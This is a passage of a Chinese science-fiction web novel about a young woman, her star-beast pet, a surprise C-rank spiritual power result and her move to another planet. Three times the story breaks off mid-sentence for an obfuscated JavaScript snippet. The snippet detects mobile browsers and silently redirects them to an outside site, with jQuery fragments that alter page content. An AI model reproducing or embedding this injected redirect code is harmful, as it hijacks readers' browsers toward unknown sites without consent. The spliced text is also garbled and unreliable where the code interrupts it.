系统告诉她，萌宠玩具这一栏兑换出的商品是随机的，不过奖池内的可选项也和萌宠罐罐一样，是按照这个世界萌宠的属性生成的。不论兑换出来的是什么玩具，不失绵都会喜欢。 就比如这个仿真的星兽玩偶。 不失绵叼着玩偶在空间里蹦来蹦去，有时候抱着玩偶给对方舔毛，有时候又把玩偶当成沙包在地上又抓又踢，玩累了的时候就靠在玩偶旁边休息。 只可惜系统兑换的物品不能带出空间，否则叶聆音真想拍一些不失绵活力满满地跑来跑去的视频。 它这么喜欢这个星兽玩偶，或许是想有个玩伴。 叶聆音在旧货网站上淘到了一个结实的背包，将其改成一个透气又柔软的容器，这样空闲的时候就可以带不失绵出去玩了。她还买了一个儿童用的牵引绳，特意选了最小号，到货后给不失绵试用了一下，还挺合适的。 只是因为没有重要节假日的时候商场是不放假的，早出晚归的叶聆音一直没有时间带不失绵出去。她又是临时工，不知道什么时候会被修理好的机器人取代，少干一天就会少一天的工资。 叶聆音无论如何都想不到，她的“假期”会因为一场意外到来。 那天，她像往常一样去上班，中午和陈姐还有其他几个员工聚在一起吃盒饭时，突然听到商场门口传来一声巨响。不明所以的几人跑出去查看，原来是停在路边的一艘能源矿石运载机发生了爆炸，所幸那会儿正是大中午路上没什么行人，没有人人受伤。 不过，未经处理的能源矿石会释放出有毒气体，精神力低的人群会受到影响，以爆炸为中心附近一千米以内的人都被送去了医院检查。 叶聆音和几个同事都是精神力N级的普通人，而且距离泄露点非常近，被送进了重点病房治疗。 许多人出现了咳嗽、恶心、眼睑出血等症状，不过叶聆音坐在观察病房里过去了一个小时都没有什么异常。在做了一系列检查后，叶聆音看到窗外阳光明媚的好天气，便向医生提出出院请求。 几个医生护士用一种不可思议的眼神看她，和这个女人一起送过来的其他人还在观察室里挂水呢。不过，叶聆音的状态看上去实在太正常了，她留下来也是占着床位，她的出院申请最终得到了允许。 叶聆音马不停蹄地跑回家带上不失绵去了公园玩，期间还拍摄了不少素材。 爆炸的地方距离这个公园很远，这里的人完全没有受到影响，因为难得的好天气，来公园游玩的人更多了。 带着星兽的叶聆音吸引了不少孩子跑来围观，其中就包括那天带她捡到不失绵的那个小女孩。 “老师，你把它救活了！”小女孩指着不失绵惊喜地说。 那天和她一起的小男孩反问她：“你怎么知道，这只星兽就是上次我们看到的那只？” 小女孩说不出原因，只是一口咬定这就是上次那只。 叶聆音证实了小女孩的猜测：“就是它，这一只运气好，它的伤养了几天就好了。” 小女孩蹲下身，很认真地注视着星兽，连眼睛都不舍得眨一下。叶聆音看她十分喜欢星兽，问她想不想摸一摸星兽，小女孩连忙点头。 叶聆音把不失绵抱在怀里，让她摸了摸星兽的大尾巴，小女孩笑起来，眼睛像月牙儿一样弯起。 “软软的呢。” 就这样玩到了傍晚，气温开始下降，叶聆音带着不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862808|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失绵回到了屋子。 她打开电脑，开始着手剪视频。因为是初学者，很多技术并不熟练，叶聆音收藏了一些教学网站，需要的时候可以随时调出来查看。 叶聆音点开收藏夹，她第一眼看过去就感觉到收藏夹好像变长了，再仔细分辨那些网址，叶聆音发现收藏夹里竟然多了好几个她从没看过的网页。 甚至有一个推销仿生人的弹出广告，因为是成人方面的内容，叶聆音记得很清楚她那天把这个网页屏蔽了，没想到现在竟然会出现在自己的收藏夹里。 其余的几条莫名其妙出现在收藏夹里的，也是不同科技公司新推出机器人的定制预约网站。 这种成人比例的机器人或者仿生人价格都非常昂贵，光瞄一眼那数不清位数的标价，穷到连着好几天喝营养液过火的叶聆音根本不可能主动去浏览这些网站。 电脑中病毒了？ 叶聆音最先想到这个可能。 她删掉了收藏夹里的那几个网站，打开杀毒软件对电脑进行全面扫描。耐心地等待了半个多小时后，结果显示她的电脑并没有出现问题。 奇了怪了。 叶聆音查看了自己电脑里的文件，也没有发现损坏或丢失。 她是个电脑小白，既然杀毒软件都说没问题，叶聆音也只好将这些异常归结于自己在使用过程中不小心点错了。 ———— 之后的几天里，叶聆音照旧去商场工作，下班后她还顺道去医院探望了陈姐。因为就医及时，陈姐恢复得不错，身体上各种不适的症状都消失了，预计第二天就能出院。 因为沿途去了医院，叶聆音回来得比平时晚一些。她用攒下来的钱给家里三个人买了礼物，都是些价格不贵但很实用的东西。 正好电脑开着，叶聆音打算把视频剪辑好发出去。不过她高估了自己的精力，因为实在太困，叶聆音想着在趴在桌子上小憩一会儿，没想到竟然直接睡了过去。 再次醒过来后，外面的天已经蒙蒙亮了。 腰酸背痛，脑袋瓜还嗡嗡作响的叶聆音发誓，自己以后再也不趴在桌子上睡觉了。 她打了个哈欠，准备去床上再睡个回笼觉。 叶聆音点开熄屏的电脑，看着熟悉的星际网页面，她突然产生了一种违和感。 好像……不是她睡着前的那个界面了。 她确实要在星际网上发布视频，但自己还没将视频制作好的时候就睡过去了呀。 叶聆音点开自己的账号，发现了一个更让她震惊的画面。 新视频竟然已经发布了！ 是她昨天晚上睡前剪好上传的吗？她怎么不记得了。 叶聆音的目光下移，看向那条最新视频的发布时间。 是凌晨三点二十，现在是凌晨五点，而她昨天晚上睡着的时候，最多不超过十二点。叶聆音点开那条新视频粗略地看了看，和她前几条视频的风格很像，选取的背景音乐与滤镜也相差不大。 叶聆音：…… 是被病毒入侵了吗？ 但，谁家病毒这么好心，不光不会删除你的文件，还会熬夜给你剪视频？ 15. 精神力 叶聆音想起自己上小学时，同桌作业本上有几段文字和原来的笔迹不同。老师问他是怎么回事，同桌支支吾吾地说他自己也不知道，他在外面玩，把作业本放在了桌子上，回来后就发现他的作业被人给写了。 这个蹩脚又滑稽的说辞，逗得当时全班同学哄堂大笑。 叶聆音也是被逗笑的其中之一。 她做梦都想不到，有一天自己竟然会遇到类似的情况。 她检查了门锁和窗户，都是完好无损的，她屋子里的东西也没有少。 退一万步说，入室盗窃的贼也不可能看到主人家的电脑开着，就好心地施展自己的剪辑技术替她免费做视频吧？ 叶聆音在网上搜索有无类似的事件，结果要么是同住屋檐下其他人的恶作剧，要么是事件主人公自己后来承认，是当时的记忆混乱记岔了。 综合已有的信息，她更加倾向于第二种可能——自己昨天熬夜到很晚发出了视频，结果小睡了一会儿后就将那段记忆全忘了。 听上去很牵强，但叶聆音有可以解释这个推测的理由。 她患上了黑雾病。 说不定，是因为病情加重了。 黑雾病确实会导致患者的记忆出现问题，一直以为自己没有明显症状的叶聆音陷入了沉默。 这下糟糕了…… 她说不定还忘记或者记错了很多重要的事，并且很难再恢复。 叶聆音在脑海中回忆了父母和妹妹的名字、样貌，以及这些天自己看到的重大新闻，在网络上搜索比对了一番后，基本和记忆中的没有明显出入。 她这才稍稍松了一口气。 因为黑雾病，记忆会出现问题也是没有办法的事情。至少她现在还没有忘记一些重要的事，叶聆音将目前能想起来的人名和事件都记录在本子上，以防万一。 做完这一切，时间也差不多了，叶聆音去往商场上班。 今天陈姐已经康复出院，来商场里工作了。叶聆音还没来得及问上几句，陈姐就拉着她到角落里，语重心长地说道：“你都觉醒精神力了，为什么不去找个适合自己的好工作呢？非得在这消磨青春吗，我要是你妈得被你活活气死！” 叶聆音满脸震惊：“什么精神力？” 陈姐推搡了她一下，上下打量着她是不是在故意逗自己玩，见叶聆音是真的不明白，这才和她解释了一番。 “我是昨天夜里听一个病友说的，她向我打听你，问你当时是不是没住院就走了。她被送来的时候也遇到了一个没受到能源矿石影响的人，留院观察了一天，第二天一大早就出院了，那人就是D级精神力。” “我一想，你当天不也是没怎么接受治疗就出院了吗？我还问了几个病友，都没有精神力，这还不能说明问题啊？” “难道你长这么大都没有测试过精神力吗？我记得现在这个测试都加入学校的体检项目里了。” 听到这里，叶聆音一直以来维持着的、正常清亮的眼神有片刻涣散。 她不是没有测试过精神力，相反，她测试精神力的次数或许比其他人都要多。 第一次被测出来没有精神力的时候，许多人都不相信。于是，她便一次又一次，在那些或是猜疑或是幸灾乐祸的目光中进入鉴定中心。 直到彻底放弃。 结果是一样的，她不是什么S级精神力的天才，而是一个被验证了无数次的废物。 叶聆音的指尖发冷，她连忙用另一只还存有温度的手掌心将其握住。 耳畔还是陈姐催促她做一次精神力鉴定的声音，却好像隔着一层透明的介质，变得有些模糊不清。 她的意识仿佛飘散在半空中，旁观着自己的身体露出礼貌的微笑，抬手拍了拍陈姐的肩膀，嘴里接二连三地吐出“我知道了，我抽空会去的，谢谢你，陈姐”这样的字眼。 精神恍惚地度过了一天，叶聆音回到家，坐在窗边一动不动。 这个时候，她真希望自己的黑雾病再严重一些，可以让她忘记那些不堪的过去。 她大概率会这样保持着一个固定的动作枯坐到黎明，但这次不同，在回忆浪潮中起起伏伏的叶聆音，突然想起不失绵还没有吃饭。 像溺水的人在挣扎中抓到了缆绳，她的手指渐渐恢复了一些活力。叶聆音起身，从冰箱中取出水果切成小块，从系统空间中放出不失绵，将托盘中的水果稍稍加热后，递到了不失绵跟前，后者立刻狼吞虎咽地吃起来。 叶聆音重新坐回椅子，望着窗外沉入黑暗的画面失神。 不知过去了多久，她的腿面上突然多出来一个重物。 低头一看，是不失绵。 它吃完了水果，轻车熟路地跳到叶聆音怀里撒娇，毛绒绒的大尾巴轻扫过她的胳膊，痒痒的。 叶聆音下意识地伸出手去摸它，在抬起胳膊的同时，她这才感知到自己四肢已经冷得像冰块一样了，叶聆音赶忙打开了暖炉。 屋子里的气温回升，叶聆音搓了搓自己双手，直到指尖也温暖起来，她开始轻轻地抚摸着怀里的星兽。 “miu——miu——” 不失绵在她怀里调整姿势的时候，湿润的鼻头时不时会触碰到她的掌心。 叶聆音的注意力从那片汹涌的回忆之海中抽离，集中到了当下、手心的触感上。 听着不失绵近在咫尺的呼吸声，她的身体逐渐放松下来，用客观的视角回看今天经历的一切，其实并没有发生什么糟糕的事情。 甚至，陈姐的提议还相当有道理。 那个时候，反复被希望与挫败来回折磨的叶聆音，真的不想再经历一次这噩梦般的体验了。 但她的情况确实很可疑，总得去试试。 第二天，叶聆音起得很早，搭车去了一家最近的精神力鉴定中心。 曜之帝国的精神力鉴定中心样子都差不多，看到那个带给她无数痛苦回忆的地方，叶聆音身体里的每一个细胞都叫嚣着要离开这里。 她握紧手掌，感受到指甲尖端深深地嵌进掌心，迈步走了进去。 躺在冰冷的仪器里时，她感觉自己的身体在控制不住地发抖。 旁边操作仪器的工作人员让她别紧张。 “你的嘴巴怎么都发青了，放轻松。我们用的是最新一代的鉴定仪器，已经比旧机型的速度快不少了，别害怕，很快就好了。” 叶聆音闭上眼睛，她控制着自己的大脑不要胡思乱想，竭力去想一些愉快的事。 她想到不失绵。 想到那个借用了谐音梗的冷笑话。 “哈哈哈是不是很好笑？这个笑话运用了谐音梗，失眠和失绵发音相同，这里小羊被剪了羊毛，可以称为失绵……” 过于集中注意力的情况下，小F的声音在叶聆音的回忆中显得格外清晰，机器人想要模仿人类高低不同的语调，但仍然能听出语句转折时不自然的僵硬感。 那个出故障的小机器人，现在应该已经被返厂维修了吧。 叶聆音心想。 她闭着眼睛，在黑暗中幻想出小机器人被拆开，替换上了新零件，又经传送带被运出的画面，直到听见有人呼唤她的名字。 “叶聆音，叶聆音！” “检查结束了，你可以出来了。” 她睁开双眼，原本平稳的心跳转瞬间就加速到让她有些难受的频率。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862809|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶聆音走出检查室，看到工作人员正从打印机里取出她的鉴定报告。 她木然地走过去，以至于忽略了工作人员脸上惊讶的表情，默默地接过那张单薄的纸张。当看到上面那个鲜红的“C”级，叶聆音愣住了。 “恭喜你啊，叶女士，结果显示你是C级精神力。”工作人员羡慕的眼神并非作假。 C级精神力在帝都星没什么稀奇的，但在落后的蓝梦星可不多见。只要能检测出精神力，大多数人会选择去更繁荣的地方发展，留在蓝梦星的人屈指可数。 叶聆音看着那张精神力鉴定报告，确认上面姓名那一栏是自己的名字。迟疑片刻，她突然抬起头问对方：“测试结果是准确的吗？有没有可能和其他人的结果混淆？” 工作人员不禁腹议：这人真奇怪，都是C级精神力了还不满足吗？还觉得是他们的工作出现纰漏了。 对方摇头，说：“怎么可能，虽然我们精神力鉴定中心每天会接待很多人，但自从我来这上班后，还没有出现过这种情况，你就放一百个心吧。” 十分钟后，叶聆音走出鉴定中心，她的脑袋还是晕乎乎的。 来到蓝梦星后，她竟然从一个精神力N级的普通人，变成了C级。 这是怎么回事？ 在曜之帝国，精神力等级是天生的，后天的训练只能在目前的等级内上下波动，是无法实现越级的。举个例子，叶聆音现在是C级精神力，通过精神力特训她或许会在精神力运用方面更加熟练，但她的等级永远是C级。 可是，叶聆音之前的测试结果明明是N啊。 还是做了无数次检查后的结果，唯一一次例外，是她在十二岁那年做过的潜力筛查，那次显示她的潜力是S。 看着鉴定书上鲜红的C级，还有上面的防伪标识，叶聆音心中五味杂陈。 她吃过一次亏，虽然那个工作人员信誓旦旦地保证自己工作这么多年从没出过差错，但说不定她的运气就这么差，连续两次判断失误的小概率事件都被她一个人遇到了呢？ 拥有C级精神力，她当然欣喜若狂。可她把这份喜悦压在了心底，万一等到第二天，精神力检测的结果又变了呢？ 不信邪的叶聆音第二天又去了更远的另一家鉴定中心，她托陈姐请了一天假，心想着如果商场因此不再聘用她也没关系，反正距离她被解雇的日期也不远了，自己早有准备。 但精神力这件事，她一定要弄明白。 十多分钟后，叶聆音拿到了自己的精神力鉴定报告。 C级。 竟然……是真的吗？ 乘车两个多小时，等叶聆音回到屋子里时，整个人已经彻底冷静了下来。 她开始在网上寻找适合自己的工作，现在有了C级精神力，她的选择范围一下拓宽了不少。蓝梦星上虽然也有适合她的岗位，但菲罗星上的薪酬更高。 叶聆音最终发出去三份自我感觉有把握的简历，第二天一大早，她就收到了其中一个回复。等到了傍晚的时候，另外两份也回复了她。 经过比较，叶聆音舍弃了虽然轻松但薪酬较低的那一个，其余两个等面试过再做打算。 她订了前往菲罗星的船票，开始收拾东西。 打包行李是个耗费体力的活儿，忙活了四十多分钟后，她累得躺在床上直喘气。 望着头顶的天花板，叶聆音有种不真实感。 额头上沁出细密的热汗，她身体上很累，但精神上却非常兴奋。 她给家里转了一些钱，只留下这个月的生活费。在床上翻来覆去了一会儿，叶聆音没忍住给家里打去了视频通话。 “铃——铃——” 16. 叶翎羽 天昭星，成宁一中。 下课铃声响起，一群饿得眼冒绿光的学生从教室里冲出，乌泱泱一片奔向食堂。 看着那群仿佛饿死鬼转生的同学风一般从自己身旁刮过，叶翎羽甩了一下自己精心修剪的刘海，这个长度的刘海可以在她低头四十五度角时恰好遮住她的右眼。 她的一条裤腿卷起露出脚踝，另一条则放下盖住脚背。 虽然有点冷，但那条外套仍然被她系在腰上，远远看上去就好像一条边缘不规则的裙子。 完全版的搭配还需要一顶贝雷帽和一条金属材质的项链，但成宁一中有规定，在校学生不能佩戴饰品。 帽子也算。 叶翎羽走到食堂，点了一份爆辣炒米粉。一口粉还没完全嗦进嘴里，就听到不远处传来一声压低了音量，但坐在她这个位置又恰好能听到的骂声。 “不要脸。” 叶翎羽抬眸，正好与坐在她斜对面那一桌的几个女生对视。为首的那个一脸挑衅，丝毫不掩饰刚才那句话就是自己说的。 苏青青。 这已经不是她第一次对叶翎羽找茬了，原因也很简单，她是厉决的小迷妹。因为叶家勾结精神力鉴定中心造假的事情，她对此耿耿于怀，发誓要为自己的偶像打抱不平。 叶翎羽瞄了苏青青一眼，拿起旁边的汽水吸了一口，慢悠悠说道。 “皇上不急丫鬟急。” 苏青青双眼瞪得溜圆，也不甘示弱地回击：“你们一家人还真是脸皮厚，到底是和我不一样。如果我遇到这种丑事，早就没有脸面生活在这世上了！” 叶翎羽：“是，我们家人确实和你不一样，我们家人都惜命，我们都要长命百岁地活着。你既然说自己没脸活着，那你现在就去死吧。” “你——！” 苏青青被气得够呛，整张脸涨成猪肝色，一时半会却想不到合适的反击。 进也不是，退也不是，气到失去理智的苏青青突然一步上前，抬手就是一巴掌打翻了叶翎羽的炒米粉。 看到自己色香味俱全的午饭被打翻在地，叶翎羽也反手拍桌，蹭得一声站了起来。 “苏青青，你傻X吧！你狂犬病发作了吗？” 两人的争执从口角升级成了肢体冲突，不过很快就被路过的老师制止了。 “你们两个，到底是怎么回事？” 方才的掐架中，苏青青被拔掉了几根头发，虽然不算什么严重的伤，但还挺疼的。听到老师这么一问，两行眼泪就从脸上滑了下来。 “是她先骂我的！” “胡说！明明是你先挑事的，你还把我的炒米粉打翻了，你浪费粮食，罪加一等！” 双方各执一词，老师只好从旁观的几个人那里询问真相。 几个女生对视一眼，又看了看苏青青，纷纷指向了叶翎羽：“是、是叶翎羽先骂人的。” 苏青青马上接着话茬又咬了叶翎羽一口：“老师，叶翎羽她诅咒我去死，呜呜呜。” 见形式对自己不利，叶翎羽赶忙据理力争：“老师，这几个人都是苏青青的走狗，当然向着她说话，这不公平！” 老师：“行了，小小年纪电视剧看多了吧，都是同学，什么走狗不走狗的。” 这种场面他见多了，都说自己没错，那就是都有错。 最终的处理结果是各打五十大板。 罚苏青青把炒米粉的钱赔给叶翎羽，并且打扫被她弄脏的食堂地面。 罚叶翎羽抄写一遍学生守则，并且在放学前写一封检讨书送到教师办公室。 下午放学，从窗户里看着同学三三两两离开学校，叶翎羽还在写自己的那份检讨书。 呵，没关系。 被排挤是她的命运，她了解。 猛兽总是独行，牛羊才成群结队。 等到她走出校门时，天色阴沉沉的，狂风大作，看起来要下雨。 少女仰头望天，听着耳畔呼啸的风声，张开了双臂，风吹得她的外套下摆猎猎作响。 这上天容不下她，可错的不是她，而是这该死的世界！ 这突然出现的狂风，果然啊，是她叛逆的心思被这个世界的意志发现了吗？ 那么……来吧，让暴风雨来得更猛烈些吧！ ———— “铃——铃——” 视频接通了。 叶聆音看到母亲手里正拿着温度计在读数。 “三十八度二。”秦蓝叹了口气，撕开一片退烧贴。 从视频中的画面里，叶聆音只能看到床上似乎躺了个人。 “谁生病了吗？” 画面外的叶向明挪了一下镜头，叶聆音这才看清睡在床上原来是自己的妹妹——叶翎羽。 “翎羽感冒了？怎么回事？” 秦蓝把退烧贴放在小女儿额头上，无奈地摇着头说：“今天傍晚下了一场阵雨，这孩子也不知道找个地方躲躲，就这么淋着雨一路跑回来，说是雨伞放在教室里忘记拿了。” “吃过饭后就看到她无精打采，到了晚上更严重了。” 说话间，烧得脸颊上两片红晕的叶翎羽在床上翻了个身。她注意到光脑正对着自己，可现在浑身无力且父母就像两座大山一样左一个右一个坐在床边，没地方躲避的叶翎羽只好往下缩了缩身子，将头埋进被子里面。 “哎呀！”下一秒，秦蓝就重新把被子给掀开了，“别闷着，感冒了一定要保证呼吸畅通。” 叶翎羽无力反抗，只能很使劲地从鼻腔里喷出热气，以此表达自己的不满。 视频另一头，叶聆音犹豫了一下，没有提起自己精神力以及要去菲罗星的事，只是简单询问了家里的情况。 “妈，我给家里转了一点钱，你们收到了没？” “收到了，收到了，是这个月幼儿园的工资发了吧。家里不缺钱，下次不用再给我们转钱了，你自己留着花。哦，你前段时间给家里买的东西也收到了。翎羽的那份礼物是她自己拆的，还不让我们知道具体是什么。” 说着，秦蓝俯身用手刮了刮小女儿的鼻尖，“姐姐给你买的礼物是什么呀，你喜欢吗？” 叶翎羽侧过头不吭声。 “妈，你们别问了，让她睡吧。” 之后又闲话了些日常，直到两边互相道别时，床上才发出一声闷闷的回答。 “不喜欢。” ———— 挂断了通话，叶聆音想起自己给妹妹买的礼物。 因为预算不多，她买的是某个漫画的主题笔记本和徽章。她自己也没有看过这个漫画，只是有一次看到叶翎羽屋子里贴着这样的海报。 叶翎羽说不喜欢，是她买的不对吗？ 自从妹妹上了中学以后，两个人之间的交流就越来越少，叶聆音也摸不准妹妹的喜好。 这时，脑海中响起了系统那熟悉的欢呼声："宿主大人，我们今天收集到的萌值足足有900点呢！是我们在一起这么多天以来最多的一次哦。" 听到系统这么说，叶聆音登上网站查看了自己的视频。 果不其然，她那条不知道怎么发出去的视频播放量创下新高，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862810|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十多万。视频下方的评论也有上千条，叶聆音粗略地浏览了几条排在上方的留言。 点赞第一的评论将对不失绵的喜爱编成了搞笑段子，叶聆音看完后也忍不住笑出了声。 也有评论表达了自己想隔着屏幕上手摸一摸星兽，希望她能拍摄一些正在抚摸不失绵的视频。此外，叶聆音还看到了一条十分特别的评论。 【自从看了主播的视频后，我的黑雾病似乎开始好转了，有没有人也有类似的经历？】 下面有人怼他。 【怎么可能？黑雾病是这五十年来困扰人们的头号难题，看看视频就好转了谁信啊？】 【是你吃的特效药的作用吧，看这个星兽博主的视频确实会心情好，但说能治病简直是天方夜谭】 【这是什么新式营销吗？拿病人开玩笑真是没下限，这个博主我拉黑了】 那个层主回复了说ta是因为吃药才好转的那条评论，澄清自己家里条件一般，吃过一段时间的特效药后就供应不起了。自己已经有三个月都没吃药了，但黑雾病的症状确实在好转。 不过追评的大多数人还是不相信，认为ta是博主请来营销的水军。 还有人质疑她在家里养星兽的行为很古怪，骂她这个人精神不正常。不过下面也有很多人怼ta，让ta不要多管闲事。 虽然星际人没有养宠物的习惯，但和星兽在一起生活确实是一个小众爱好。 她发出的第一条视频下面，还有人邀请她加入星兽爱好协会这样的民间组织。 那条评论很快被踩到了后面。 叶聆音发现，随着播放量增加，越来越多有着不同观念的群体看到了她的视频，于是好坏评论都出现了。 这都很正常。 她没有太过在意诋毁她的留言，洗漱过后就休息了。 ———— 到了出发的那一天，叶聆音带着行李下楼。 周安国已经回来了，不过他女儿在学校的问题似乎没有得到妥善解决，一向乐呵呵的他坐在店里也忍不住唉声叹气起来。 和周安国谈话时，叶聆音才知道，宋琪竟然也在不久前神不知鬼不觉地离开了。 有点像武侠小说里来去匆匆的江湖人士呢。 叶聆音拉着行李站在路边等车，突然看到之前遇到的那个老婆婆在东张西望地寻找着什么。 对方也认出了她。 那个老婆婆见到她，就急忙问她那个摆摊卖药的人去哪儿了。 “丫头，那药真的有效果！不骗你，我孙子最近都快好了，你那个朋友也有救了。说起来，那个卖药的人呢，怎么好几天了都没看到他？” 药有效果？叶聆音真没想到事情会往这个方向发展。 这怎么可能呢？ 难不成那个卖药的人真有什么神奇秘方，科学院那么多学者都无法解决的难题，被一个蓝梦星上名不见经传的小人物给破解了？ 这不是叶聆音第一次遇到这个老婆婆，可这一次后者的状态明显要好得多，原本晦暗的眼睛里都亮着光。 听她说自己的孙子最近都快好了，看她前后模样的转变，应该是真的。 老婆婆又向周安国打听卖药人的去向，对方却说这人因为卖假药被抓走了。本来在蓝梦星上对这些小摊小贩管理很宽松，哪怕卖三无产品，只要一个愿打一个愿挨当地执法部门不会过多干涉。 坏就坏在，真的有人按照卖药人的要求吃了四五个疗程的假药，结果症状反倒加重了。家属一气之下把那人给举报了，这下终于被抓进去了。 17. 菲罗星 陈芬一筹莫展地回到家。 “小飞，那个卖药人被抓走了，这下可怎么好啊？” 陈望飞端着饭菜从厨房里走出来：“奶奶，我不是说了吗？那人就是卖假药的，我的病能恢复和那药根本没关系。他骗走了我们这么多钱，我今天下午去警局打听一下，看能不能追回部分受骗金额。” 与不久前相比，他就像变了一个人一样。 憔悴萎靡的面容如今清爽了不少，整个人看起来年轻了十岁。 奶奶买回来的那个药，因为气味实在太难闻，所以那段时间哪怕是他发病后意识不清的时候，都会私下里偷偷倒掉。 真正被他喝进去的药没多少。 至于他为什么突然间恢复了，陈望飞将自己的真实经历发到网上，网友却污蔑他是博主请来的水军，还说要拉黑发视频的博主。 陈望飞本来也不相信看视频能治病，但他的身体变化他最清楚，确实是从自己关注了那个博主后，他的精神状态就渐渐好转了。 那个新人博主发出的视频不多，但每一条他都重复看过至少三次以上。 陈望飞也说不上为什么，就是忍不住想看。那种奇妙的感觉，就好像彻底放空大脑，什么烦心事都烟消云散后，全身舒展地睡在柔软洁白的云朵上面，阳光正好，风也温柔。 很难具体地用语言去形容，总之就是很舒适。 他起初只是因为爱上了这种感觉，所以才关注了那个博主。渐渐的，他发现自己发病的次数越来越少，黑雾病的症状也越来越轻。过去他看一本书，翻到第二页时就会忘记之前看了什么内容，但现在的他已经能完整地读完一整本书了。 他的性情也发生了相应的转变，重新变得自信开朗，过去那个消沉怯懦的陈望飞仿佛根本不存在。 这样正常的生活，陈望飞已经很久没有体验过了。 他的奶奶也发现了这个变化，不过陈奶奶将这个结果归功于这些天自己买回来的假药。 老人年纪大了，更何况连许多网友都不相信自己说的话，陈望飞也没有做过多解释。 只是因为他发出去的这条评论，博主的风评受到影响，觉得挺对不起人家的。陈望飞犹豫着要不要把那条评论删掉，不过他转念一想，自己又没撒谎，被人指出是水军搞营销后他就删除了评论，显得他做贼心虚一样。 不删了。 如果能从那个骗子那儿追回受骗的钱财，他就把这些钱打赏给那个博主。 ———— 重回太空港口，叶聆音拉着行李走在熟悉的街道上。 想当初，她身心俱疲，怀揣着重新开始的愿景坐飞船来到蓝梦星。 现在，也要从这里启程，去往另一个陌生的地方。 祝她一切好运吧。 叶聆音登上飞船，放好行李，找到自己的座位，头顶的播音器里传来清晰悦耳的播报声。 “尊敬的各位旅客，欢迎乘坐U42号星际飞船。本次飞船将由蓝梦星开往菲罗星，全程预计45个小时。期间您可以将座椅调整为睡眠模式，本次飞船也在第3层及第6层船舱设有深眠室供您选择。” “朝阳星际航空为每位旅客提供了免费营养液，供餐时将广播通知您。” “飞船即将起航，请您确保个人物品妥善存放，如有任何需求，请随时联系乘务人员。祝您旅途愉快！” 叶聆音透过舷窗，看着蓝梦星离自己越来越远，最后彻底消失在了黑暗中。 她收回目光，闭上眼睛休息。 飞船上的信号不稳定，虽然设置有娱乐场所，不过入场需要缴纳额外费用。 经过漫长的航行，叶聆音终于抵达了菲罗星。 她十年前和父母一起来过这儿旅游，菲罗星的繁华与发达让当时还在读书的她十分向往。 没想到，有一天她真的有可能要在这里是生活了。 出发前，叶聆音骗父母自己这几天要加班，可能会错过家里的电话。她打算等一切安稳下来，再告诉父母自己已经离开蓝梦星了。 太空港口外有自助的代步车，叶聆音租了一辆，输入要去的目的地，预计一个小时后到达。 望着车窗外奇形怪状的高楼大厦，和大街上川流不息的人群，原本信心满满的叶聆音此刻也有些慌张。为了缓解紧张的情绪，她戴上耳机打算听歌，但没听完几首，叶聆音就重新睁开了眼睛，低头点开光脑。 怎么回事？ 音乐软件都是按照她的喜好推荐歌曲，她使用了这么久以来都很满意。但这次推荐给她的歌都是她从未听过的风格，叶聆音以为只有一两首例外的，没想到听到现在全都是新风格。 她查看了自己的听歌历史，不看不知道，一看吓一跳。 竟然在她不知情的时候，多出来许多根本不是她本人使用过的听歌记录！ 怎么回事，她被盗号了吗？ 她赶紧检查了自己其它社交账号，暂时没发现问题。 目前的叶聆音实在抽不出注意力去深究一个音乐软件的问题，她只好先将此事搁置了。 短短一上午，叶聆音跑了两家公司面试，她最终选择了那个机甲检修的工作。 她对机甲完全不了解，但只要会使用靠精神力驱动的检测仪器就行，其余的可以慢慢学。因为这项工作总是在封闭的车间厂房里进行，每天面对的也是无声冰冷的机甲零件，这种环境会让人感到压抑。 在很多人的观念里，做这些工作的人容易患上黑雾病，拥有C级精神力的人有更好的选择。 不过叶聆音没有这方面的顾虑，因为她本来就有黑雾病。 在面试的时候她没有隐瞒这一点。 虽说她确实也撒谎了，她说自己目前在坚持服药，再加上她本人看上去完全就是个思维清晰、端庄礼貌的正常人，面试官几乎没有犹豫就录用了她。 总好过来上了几天班后，就说自己因工患病索要赔偿的人。 除了不受黑雾病影响，叶聆音选择这项工作最重要的一点是，公司给她这样的检修师配有职工宿舍。她不用再租房子了，在菲罗星租住可比之前在蓝梦星贵好几倍。 当天下午，叶聆音就拎着大包小包搬进了自己的宿舍。 为了庆祝，她的午饭没有选择喝营养液对付过去，而是去饭馆吃了顿相对好点的饭菜。 她目前的身份是学徒，酬劳只有正式工的一半，三个月后能转正。 